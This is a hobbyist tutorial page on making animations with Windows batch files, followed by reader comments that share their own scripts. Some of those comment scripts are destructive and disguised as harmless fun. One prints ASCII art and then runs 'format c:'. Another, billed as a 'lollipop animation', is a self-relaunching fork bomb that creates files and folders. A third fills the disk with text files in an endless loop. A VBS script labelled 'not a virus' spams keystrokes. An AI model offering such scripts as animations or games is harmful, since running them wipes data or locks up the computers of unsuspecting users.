Introduction: Batch File Animations

Picture of Batch File Animations

im going to show you how to make an animation
in batch.

what you need:
1.a computer
2.know how to save batch files
3.time lots of time
4.(optional) half-a-brain


DISCLAIMER:
i am not responsible for any damage that happens to your
computer because you pissed around with batch files
and had no idea what you were doing!

Wooh
now thats out of the way lets start.....>>> (this way)

Step 1: THE CODE

Picture of THE CODE

the attached file is a simple
animation i made show WTF is all
this maddness

ECHO
a command used to echo the
input

@ECHO OFF
sets it so the command is
not shown

SLEEP xxx
pauses the script for
a set amount of seconds (xxx)

echo 1. start
echo 2. exit
SET /P M=Type 1 or 2 then press ENTER:
IF %M%==1 GOTO start
IF %M%==2 GOTO exit

simple menu

GOTO xxx
goes to the specified label (xxx)

:xxx
sets a label (xxx)

cls
clears the screen

ok this is probably hurting your bran so i will move on....

Step 2: The Save

Picture of The Save

type your commands into
notepad and shange the
save as type to all files
and save with this exstention
<:put name="" here="">.bat
.cmd
are more powerful files tho.

Step 3: The KILL!

Picture of The KILL!

post you animations for me.
i am a smart ass but i like people
who try.......






once again my animation

Comments

Sembot (author)2017-09-16

how can i adjust the speed of moving , en make sound

SiriusM1 (author)2017-06-15

@echo off

:Lollipop

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

echo lollipop > %random%.txt

echo lollipop > %random%.txt

echo lollipop > %random%.txt

echo lollipop > %random%.txt

echo lollipop > %random%.txt

C:\Windows\System32> MD %random% > nul

C:\Windows\System32> MD %random% > nul

C:\Windows\System32> MD %random% > nul

C:\Windows\System32> MD %random% > nul

start %~n0%~x0

goto Lollipop

This is a really cool lollipop animation NOT for the faint of heart! If you are brave try it!!

RegieB (author)2016-06-24

@echo off

title AdminBaguio

echo.

:init

set /p input= Type "Y" to start -

if /I %input%==Y goto main

if not /I %input%==Y goto end

:main

cls

echo.

set /p input= Type [1-5] or Hit x to quit -

if %input%==1 goto batch

if %input%==2 goto down

if %input%==3 goto top

if %input%==4 goto start

if /I %input%==x goto end

if %input% GTR 5 goto main

pause

:batch

cls

echo*********** ********** ************ ************ ****** ******

echo******* **** **** ******** ***** ****** ******

echo*** *** *** *** **** **** ****** ******

echo****** *** *** **** **** ****** ******

echo********* ************ **** **** ******************

echo********** ************ **** **** ******************

echo******* *** *** **** **** ****** ******

echo*** **** *** *** **** **** *** ****** ******

echo*** ***** *** *** ******** **** ****** ******

echo************ *** *** **** ************ ****** ******

pause

set /p input= Wanna try another trick? type "Y" -

if /I %input%==Y goto main

if /I %input% NEQ Y goto end

:down

cls

echo.

echo.

echo.

echo .########..########....#####...##.....##.##....##

echo .##.....##.##.....##..##...##...##...##...##..##.

echo .##.....##.##.....##.##.....##...##.##.....####..

echo .########..########..##.....##....###.......##...

echo .##........##...##...##.....##...##.##......##...

echo .##........##....##...##...##...##...##.....##...

echo .##........##.....##...#####...##.....##....##...

:colors

Set /a num=(%Random% %%9)+1

color %num%

PING 127.0.0.1 -n 2 > NUL

goto colors

set /p input= Wanna try another trick? type "Y" -

if /I %input%==Y goto main

if /I %input% NEQ Y goto end

:top

cls

echo.

echo Press Ctrl + C to end the loop

echo.

echo.

echo.

echo.

echo.

echo*********** ********** ************ ************ ****** ******

echo******* **** **** ******** ***** ****** ******

echo*** *** *** *** **** **** ****** ******

echo****** *** *** **** **** ****** ******

echo********* ************ **** **** ******************

echo********** ************ **** **** ******************

echo******* *** *** **** **** ****** ******

echo*** **** *** *** **** **** *** ****** ******

echo*** ***** *** *** ******** **** ****** ******

echo************ *** *** **** ************ ****** ******

echo.

color 1a

ping localhost -n 0 >nul

color 2b

ping localhost -n 0 >nul

color 3c

ping localhost -n 0 >nul

color 4d

ping localhost -n 0 >nul

color 5e

ping localhost -n 0 >nul

color 6f

ping localhost -n 0 >nul

color 7a

ping localhost -n 0 >nul

color 8b

ping localhost -n 0 >nul

color 9c

ping localhost -n 0 >nul

color 9a

ping localhost -n 0 >nul

color 8b

ping localhost -n 0 >nul

color 7c

ping localhost -n 0 >nul

color 6d

ping localhost -n 0 >nul

color 5e

ping localhost -n 0 >nul

color 4f

ping localhost -n 0 >nul

color 9b

ping localhost -n 0 >nul

goto top

:start

cls

color 0a

echo Press Ctrl + C to terminal the Program

echo.

echo.

echo .########..########....#####...##.....##.##....##

echo .##.....##.##.....##..##...##...##...##...##..##.

echo .##.....##.##.....##.##.....##...##.##.....####..

echo .########..########..##.....##....###.......##...

echo .##........##...##...##.....##...##.##......##...

echo .##........##....##...##...##...##...##.....##...

echo .##........##.....##...#####...##.....##....##...

goto eof

::eof below

:eof

color 0c

cls

echo Press Ctrl + C to terminal the Program

echo.

echo.

echo .########..########....#####...##.....##.##....##

echo .##.....##.##.....##..##...##...##...##...##..##.

echo .##.....##.##.....##.##.....##...##.##.....####..

echo .########..########..##.....##....###.......##...

echo .##........##...##...##.....##...##.##......##...

echo .##........##....##...##...##...##...##.....##...

echo .##........##.....##...#####...##.....##....##...

goto start

:end

exit

just try it.

ERER456123 (author)2016-03-09

Don't say I didn't warn you not to open it...

@echo off
color 0A
mode 1000
set HACK=1
echo HELLO FRIEND.
:Stamp
echo mwa ha ha >> %random%.txt
CLS
echo HELLO FRIEND
goto Stamp

ERER456123 (author)2016-03-09

I'm very annoyed at how my computer reacts to ceryain commands in batch. it doesn't let me wait without pinging (which means I have to wait for 3 seconds) and doesn't let me use variables in calculations.

DanielP29 (author)2015-06-21

In my opinion, using "ping localhost" is a bit stupid. You can always use timeout X -nobreak, where X is the number of seconds.

I also made two fantastic batch files :D

If i was you, I wouldn't try the second one on my computer, because it will format your pc :D

First Batch:

@echo off

mode 10000

color 0a

title MATRIX

:1

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

goto 1

Second Batch:

@echo off

mode 1002

echo THE MAN

echo.

echo.

echo ...................................`````````````````````````````````````````````````````````````````

echo ....................................````````````````````````````````````````````````````````````````

echo ...............................```.....`````.........```````````````````````````````````````````````

echo .................................-::://:::://++ooosoo+/:-```````````````````````````````````````````

echo .............................-:oyhmmmmmmmmmmmNNNNNmddhyso+:.````````````````````````````````````````

echo ............................:sdNNNNNNNNNNNNNNNNNNNNNNNNNmmdyo:.`````````````````````````````````````

echo ...........................-sNNNNNMMMMMNMMNNMMMMMMMNNNNNNNNNmdy/.```````````````````````````````````

echo .........................-/yNNNNNNNNNNNNNNNNNMMMMMMMMNNNNNNNNNmh+-``````````````````````````````````

echo .......................-/ymNNNNNNmmmmNNNNNNNNNNNNNNMMMNNNNNNNNNmh/.`````````````````````````````````

echo ......................-odNNNNNmmddhhddddmmmmNNNNNNNNNMMMMMNNNNNNmo.`````````````````````````````````

echo .....................:hmNNNNmddhyyyyhhhhhddddddmmNNNNNNMMMMNNNNNNm/`````````````````````````````````

echo ...................-:hNNNNNdhyyyyssyyyyyyyyyhhhddddmmmmNNNNNNNNNNNd-.```````````````````````````````

echo ..................-:hNNNNNdhsssssssssssssssyyhhhhhhhhhddmmmmNNNNNNNy-```````````````````````````````

echo ..................-/dNNNNmdyssssssssooosssssysssyyyyyyyhhhhdmmNNNNNNh-``````````````````````````````

echo ..................-+mNNNNmhysssssoosooossssssssssssssyyyyyyhhdmNNNNNN+``````````````````````````````

echo ..................-oNNNNNmhyssssoooosssssssssssssssssssyyyyyyhdmNNNNm+.`````````````````````````````

echo ..................-hNNNNNmhsssoooooooossssssyysssssysssyyyyyyyyhdmNNm:``````````````````````````````

echo .................-/mNNNNNdysssssooooooooosssssssssssyssyyyyyyyyyydNNm-``````````````````````````````

echo .................-+NNNNNmyssyyyyyyyssssoosoossssssssssssssyyyyyyydNNd.``````````````````````````````

echo ................-:smmNNmyyydmNNNNNNNmmddhyssooosossssssssssssyyyhmNNd.``````````````````````````````

echo ...............--sdNmdhyyyhsyyyhhhdddmmmmdhyyssssssyyyyyyyyyyyyyymNNh.```````````..........`````````

echo ................-oymNdysyhyyyyohhhdmmmmdhdhhyssyyyhddmmNNNmmmmdyymNN+```````````....................

echo ....---..---.---:ohNhssssyhhddhdddmNmdmddhhhysyyhdmmmmddhhhddmNNhmNd.``````````.....................

echo .--------------:oshhsssssyyyyhhhhhhhddddhhdhyyyhdmddmddmdmddhhhddmm:``````````......................

echo ---------------osysssssssssyyhhhhhhhhyyyyhdhysyydmmddhhdhmmdmmdhhdh+-````````........-..-----.......

echo --------------:sysssssssssssssyyhhhhhhhhhhysssyyhmmdhhhhhhhddddhhhhy:``````.......--------------/:--

echo --------------:ossssssssssooossssyyyyyyyyysssssyhddhhhyyyhhhyyyyyhd-```````.....-----------------ss+

echo --------------/ooossyysssoooooossyyhhyyyysssssyyhhdddhhhhhyyyyyyhyh.`````......-------------:/::-+ys

echo --------------/oossyyysssssssssyhdddhhyssysssssyhhddhyyyyyyyyhhhhyh-``````....----------:/-:+:/osoyy

echo ----------------+ssyyyyyyssyyhdmddhhhhhhhyyoossyhhhdmhyssssssyhhhhy....`......--------:::/s/ss/:/yyy

echo ----------------/ssyyhhyyhhdmmmdddhhhddddddhhhhdmmmmddhysssyyyhdhh+............------:+o++oyhhys//yy

echo ----------------:syyhhhhhhdNNmmdddhhhhhhddmmmmmmmmmmddddhyyyhhhddh:..........--------:osyssssyyyhs+y

echo ----------------:syyhhhhhddmmmNNNdhhyyhhhhhddddddddmmmmmmdhhhddddy-.........-----::::::/sssssyyhhhhs

echo -----------------oyhhhhdddddmmmdmmhs+/+/s+oysyhhddmmmmmmmmhhddddd:..........-----::::::::/syhhhhhhhh

echo -----------------:yyhhhhddddmmdhhdddys///://:/+oshmNNmmmdhhdddddo.......----:////:::::::::+syhhhhhhh

echo ------------------/yhhhhhddddddhhhhhyhyysysoosyyhdmmmdmmdddddddy-...---------::/+osssoo+/:://+soshdh

echo ----:::::---------/shhhhhhddhddhhhhhyyyyhhhhhhhdddmmmmmdddddddy------------::::/ooooosyhhyso+/yyyhdd

echo ::::::::::::--::::+hhhhhhhhdhhhhhhhyyhhdddddddddmmmmmmmdmddddo----------::::://ssssssyhdddhhyyhhhddd

echo ::::::::///+++++/:/hmhhhhhhddhhhhhhhyyyhhhdddddddddmmmmmdmdy/------::::::::/+syhssysys+++oosyhhhhyyh

echo ::::///+hmmdmdds:-/+mmddhhhhdddhhhhhhhhhhhdddddddmmmmmmmmdo:---::::::::::////+oo+++//////////++oyhhy

echo /////++ohmddddh/-./-+mNmmddddddddhdhhdhdddddddmmmNNNNmmmmd/oo+/::::::::::///::::::///+++//+++++++ohh

echo /++osyyhhddddh/-..-/-/dNNmmddddmmmdddddddmmmmmmmNNNNNmmmNy/syso////////+++ooooosssssyyysssssssssssyy

echo hhdddmmdddddds-:...::-/ymNNmmmmmmmmmmmmmmmmmNNNNNNNmmmNNh//shhs+ssyyyyyyyyyhhhddhhhhhhhhddddddddddyy

echo mmmmmmmmdddmd/-:.-.-/::+sdNNNmmmmmmmmmmmmmNNNNNNNmmmNNms+:+ymdhddddddmdddddddddddhhyyyhddmmmmmmdhhhh

echo mmmmmmmmmmdds-.:..:+hdyo++ydNNmdddddddddddmmmmmmmmmmmho+:/sdmmmddddddddddhhhhhhhhhyyssyyhdmmmddhhmmd

echo mmmmmmmmmmmd/-.:/smNmhyoo+++sddmdddddddddddddddddmmysymdssmmmmmmmddddddhhyhdddhhhyysosydmmmNm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mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmdddmmmmmmmmmNN

echo mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmddmmmmmmmmNNN

format c:

pause > nul

DanielP29 (author)2015-06-21

Hacker not cracker made it! (author)2014-07-10

try this script its working!!!! SAVE WITH (NAME OF UR FILE).vbs its game dont worry its not a virus

dim wsh

jumlah=2500

delay=1

set wsh=wscript.createobject("wscript.shell")

wscript.sleep 50000000

for i=1 to jumlah

wsh.sendkeys "www.nicegameever.com"

wsh.sendkeys "{ENTER}"

wscript.sleep delay

next

'end

Regulators (author)2014-04-22

this is cool, but i made my own batch file that allows people to download file from internet, very fast!

visite this instructables

https://www.instructables.com/id/How-To-download-Fi...

thank you!

itanium (author)2010-10-02

well... i don't have the program "sleep" on my computer. it doesn't work as the anims play real quick.

Prof. Pickle (author)itanium2012-08-05

Use ping localhost -n 1 >nul Instead of sleep

eoscondor (author)itanium2010-10-06

what is your OS?

(i have win7 i hate it)

eoscondor (author)eoscondor2010-10-06

try

ping localhost -n 5 >nul

the more you add it to the code the longer it takes

itanium (author)eoscondor2010-10-06

nice solution! im on vista. its kinda using a bazooka to kill a mosquito approach but very good!

eoscondor (author)itanium2010-10-06

i did that once with a spud gun!
anyhoo

have you made an animation?

itanium (author)eoscondor2010-10-06

I think I did this some time ago. I used to make the animation play by pressing space (I used the program pause piped with null on DOS command line... never thought of using a timer [back then I couldnt, didn't even have internet]). So when I pressed space, the anim batch file would play another frame.

It was pretty fun the time I made it but no one around cared bout that. Computers were merely tools.

blakexz13 (author)2011-05-04

ur program took a little to long. (also sleep isnt on some computers)
HERE IS AUGMENTED CODE:
@echo off
title the life of stick man bob
color 0F
cls
echo THE LIFE OF STICK MAN BOB
echo.
echo IN SLOW MOTION
echo.
echo OOOOOO
echo O O
echo O # # O
echo O ---- O
echo OOOOOO
echo ][
echo _[]_
echo //][\\
echo // [] \\
echo // ][ \\
echo // [] \\
echo //\\
echo // \\
echo // \\
echo // \\
echo.
echo 1. start
echo 2. exit
SET /P M=Type 1 or 2 then press ENTER:
IF %M%==1 GOTO start
IF %M%==2 GOTO exit
:start
cls
echo ----------------
echo . 0 .
echo . /l\ .
echo . l .
echo . - .
echo . / \ .
echo ----------------
ping locahost -n 1 >nul
cls
echo ----------------
echo . 0 .
echo .@ /l\ .
echo . l .
echo . - .
echo . / \ .
echo ----------------
ping locahost -n 1 >nul
cls
echo ----------------
echo . 0 .
echo . /l\ .
echo . @ l .
echo . - .
echo . / \ .
echo ----------------
ping locahost -n 1 >nul
cls
echo ----------------
echo . 0 .
echo . /l\ .
echo . l .
echo . @ - .
echo . / \ .
echo ----------------
ping locahost -n 1 >nul
cls
echo ----------------
echo . 0 .
echo . /l\ .
echo . l .
echo . - .
echo . @ / \ .
echo ----------------
ping locahost -n 1 >nul
cls
echo ----------------
echo . 0 .
echo . /l\ .
echo . l .
echo . - .
echo . @ / \ .
echo ----------------
ping locahost -n 1 >nul
cls
echo ----------------
echo . 0 .
echo . /l\ .
echo . l .
echo . #*# - .
echo . *@*/ \ .
echo ----------------
ping locahost -n 1 >nul
cls
echo ----------------
echo . 0 .
echo . /l\ .
echo . !!!!!l .
echo . !!!!!- .
echo . !!@!! \ .
echo ----------------
ping locahost -n 1 >nul
cls
echo ----------------
echo . 0 .
echo . / \ .
echo . l .
echo . .
echo . \ .
echo ----------------
ping locahost -n 1 >nul
cls
echo ----------------
echo . .
echo . 0 .
echo . / \ .
echo . l .
echo . \ .
echo ----------------
ping locahost -n 1 >nul
cls
echo ----------------
echo . .
echo . .
echo . .
echo . 0 .
echo . / l\\ .
echo ----------------
ping locahost -n 1 >nul
cls
echo THE END OF BOB!
echo or is it?
echo.
echo 1. restart
echo 2. exit
SET /P M=Type 1 or 2 then press ENTER:
IF %M%==1 GOTO start
IF %M%==2 GOTO exit
:exit
echo exiting......
sleep 2
echo 1
sleep 1
echo 2
sleep 2
echo 3
sleep 1
exit

About This Instructable

30,871views

8favorites

License:

Bio: i hide, i find, i jump, i cupple to your head and use my beak to crack your skull and eat you brains!
More by eoscondor:batch file animations
Add instructable to: